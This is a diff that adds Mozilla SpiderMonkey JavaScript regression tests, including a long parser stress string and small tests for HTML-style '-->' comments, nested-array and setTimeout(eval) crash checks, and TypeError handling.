+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +');
+}
+catch(e)
+{
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-31255.js b/js/src/tests/non262/regress/regress-31255.js
new file mode 100644
index 0000000000..fbda8df0d3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-31255.js
@@ -0,0 +1,76 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 09 November 2002
+ * SUMMARY: JS should treat --> as a single-line comment indicator.
+ * Whitespace may occur before the --> on the same line.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=31255
+ * and http://bugzilla.mozilla.org/show_bug.cgi?id=179366 (Rhino version)
+ *
+ * Note: <!--, --> are the HTML multi-line comment opener, closer.
+ * JS already accepted <!-- as a single-line comment indicator.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 31255;
+var summary = 'JS should treat --> as a single-line comment indicator';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+<!-- HTML comment start is already a single-line JS comment indicator
+ var x = 1; <!-- until end-of-line
+
+ status = inSection(1);
+actual = (x == 1);
+expect = true;
+addThis();
+
+--> HTML comment end is JS comments until end-of-line
+--> but only if it follows a possible whitespace after line start
+--> so in the following --> should not be treated as comments
+if (x-->0)
+ x = 2;
+
+status = inSection(2);
+actual = (x == 2);
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-312588.js b/js/src/tests/non262/regress/regress-312588.js
new file mode 100644
index 0000000000..23a597e7ef
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-312588.js
@@ -0,0 +1,27 @@
+// |reftest| slow skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 312588;
+var summary = 'Do not crash creating infinite array';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+var a = new Array();
+
+try
+{
+ for (var i = 0; i < 1e6; i++)
+ (a = new Array(a)).sort();
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-314401.js b/js/src/tests/non262/regress/regress-314401.js
new file mode 100644
index 0000000000..e6a9b8f863
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-314401.js
@@ -0,0 +1,40 @@
+// |reftest| skip-if(xulRuntime.shell||(xulRuntime.OS=="WINNT"&&isDebugBuild)) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 314401;
+var summary = 'setTimeout(eval,0,"",null) should not crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+gDelayTestDriverEnd = true;
+window.onerror = null;
+
+ try
+ {
+ setTimeout(eval, 0, '', null);
+ }
+ catch(ex)
+ {
+ printStatus(ex+'');
+ }
+
+ reportCompare(expect, actual, 'setTimeout(eval, 0, "", null)');
+
+ try
+ {
+ setInterval(eval, 0, '', null);
+ }
+ catch(ex)
+ {
+ printStatus(ex+'');
+ }
+ reportCompare(expect, actual, 'setInterval(eval, 0, "", null)');
+
+ setTimeout('gDelayTestDriverEnd = false; jsTestDriverEnd();', 0);
diff --git a/js/src/tests/non262/regress/regress-315990.js b/js/src/tests/non262/regress/regress-315990.js
new file mode 100644
index 0000000000..78fcf5407c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-315990.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 315990;
+var summary = 'this.statement.is.an.error';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary + ': function expression');
+
+expect = 'TypeError';
+try
+{
+ (function() {
+ this.statement.is.an.error;
+ })()
+ }
+catch(ex)
+{
+ printStatus(ex);
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary + ': function expression');
+
+
+printStatus (summary + ': top level');
+try
+{
+ this.statement.is.an.error;
+}
+catch(ex)
+{
+ printStatus(ex);
+ actual = ex.name;
+}
+reportCompare(expect, actual, summary + ': top level');
diff --git a/js/src/tests/non262/regress/regress-317476.js b/js/src/tests/non262/regress/regress-317476.js
new file mode 100644
index 0000000000..dfafa5b0c6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-317476.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 317476;
+var summary = 'The error thrown by JS_ReportError should be catchable';
+var actual = 'no error';
+var expect = 'no error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof setTimeout != 'undefined')
+{
+ expect = 'error';
+ try
+ {
+ setTimeout();
+ }
+ catch(ex)
+ {
+ actual = 'error';
+ printStatus(ex+'');
+ }
+}
+
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-317714-01.js b/js/src/tests/non262/regress/regress-317714-01.js
new file mode 100644
index 0000000000..efa1769f1f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-317714-01.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 317714;
+var summary = 'Regression test for regression from bug 316885';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+var d5="-1";
+var r3=d5.split(":");
+r3[0]++;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-317714-02.js b/js/src/tests/non262/regress/regress-317714-02.js
new file mode 100644
index 0000000000..8ae50ffeec
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-317714-02.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
